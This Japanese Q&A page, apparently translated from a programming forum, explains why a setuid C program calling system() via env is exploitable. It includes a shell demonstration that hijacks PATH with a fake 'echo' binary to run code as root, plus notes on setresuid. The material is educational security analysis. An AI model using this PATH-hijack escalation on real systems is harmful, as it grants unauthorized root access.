2011-11-29 17 views
34
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/types.h> 
#include <stdio.h> 

int main(int argc, char **argv, char **envp) 
{ 
    gid_t gid; 
    uid_t uid; 
    gid = getegid(); 
    uid = geteuid(); 

    setresgid(gid, gid, gid); 
    setresuid(uid, uid, uid); 

    system("/usr/bin/env echo and now what?"); 

} 

上記のコードは、任意のコード(またはプログラム)の実行を許可しています。これがこの脆弱性をどのようにしていますか?このCコードの脆弱性は何ですか?

+2

なぜこれにより任意のコードが実行されると思いますか? –

+0

まあ、正直言って私はそれを盲目の信仰に取ります。私はセキュリティーの学生ですが、私は脆弱なコードを見ていましたが、これを見ましたが、この本ではこの特定の例は説明していません。 – quantumdisaster

+0

おそらくあなたはシステムコールを参照していますか?これに関する専門家ではありませんが、それは遠慮なく私に尋ねる唯一のものです。バッファオーバーランなどの問題はありません。 –

答えて

51

あなたはechoのカスタムバージョンでディレクトリを指すようにPATH変数をオーバーライドすることができますし、echoenvを使用して実行されているので、それがビルトインとして扱われません。

これは、コードが特権ユーザーとして実行されている場合にのみ脆弱性を構成します。

以下の例では、ファイルv.cに質問のコードが含まれています。

$ cat echo.c 
#include <stdio.h> 
#include <unistd.h> 

int main() { 
    printf("Code run as uid=%d\n", getuid()); 
} 
$ cc -o echo echo.c 
$ cc -o v v.c 
$ sudo chown root v 
$ sudo chmod +s v 
$ ls -l 
total 64 
-rwxr-xr-x 1 user  group 8752 Nov 29 01:55 echo 
-rw-r--r-- 1 user  group 99 Nov 29 01:54 echo.c 
-rwsr-sr-x 1 root  group 8896 Nov 29 01:55 v 
-rw-r--r-- 1 user  group 279 Nov 29 01:55 v.c 
$ ./v 
and now what? 
$ export PATH=.:$PATH 
$ ./v 
Code run as uid=0 
$ 

。なお、実ユーザID、実効ユーザIDの設定と疑問に投稿された脆弱なコードでsystem()への呼び出しの前にsetresuid()への呼び出しによって設定されたユーザIDを保存は、1つの脆弱性を悪用することができます有効なユーザーIDだけが特権ユーザーIDに設定され、実際のユーザーIDが特権を持たないままであっても(上記のようにファイルのset-user-IDビットに頼っている場合など) setresuid()への呼び出しがなければ、system()で実行されるシェルは、実効ユーザーIDを実ユーザーIDに戻して、その悪用を無効にします。ただし、脆弱なコードが特権ユーザーの実ユーザーIDで実行されている場合は、system()だけで十分です。 sh manページ引用:

をシェルは実効ユーザー(グループ)実ユーザ (グループ)IDと等しくないIDで開始され、かつ-pオプションが提供されていない場合、起動ファイルは ありませんシェル関数が環境から継承されていない場合、SHELLOPTS変数は、 が環境にある場合は無視され、実効ユーザーIDは idが実ユーザーIDに設定されます。起動時に-pオプションが指定されている場合、起動時の の動作は同じですが、有効なユーザIDはリセットされません。

また、setresuid()はポータブルではなく、setuid()又はsetreuid()も同じ効果に使用されてもよいことに留意されたいです。

+1

ちょうど好奇心が...どのようにPATHはこれに来るのですか?私は "env"への完全なパスが指定されているので、PATHは検索されないと考えていたでしょう。もちろん、誰かが/ usr/bin/envに厄介なプログラムを置く権限を持っていれば、問題が起きるでしょう。 – Ron

+0

okありがとう – quantumdisaster

+12

'env'は' echo 'を見つける' PATH'を検索します。 –

関連する問題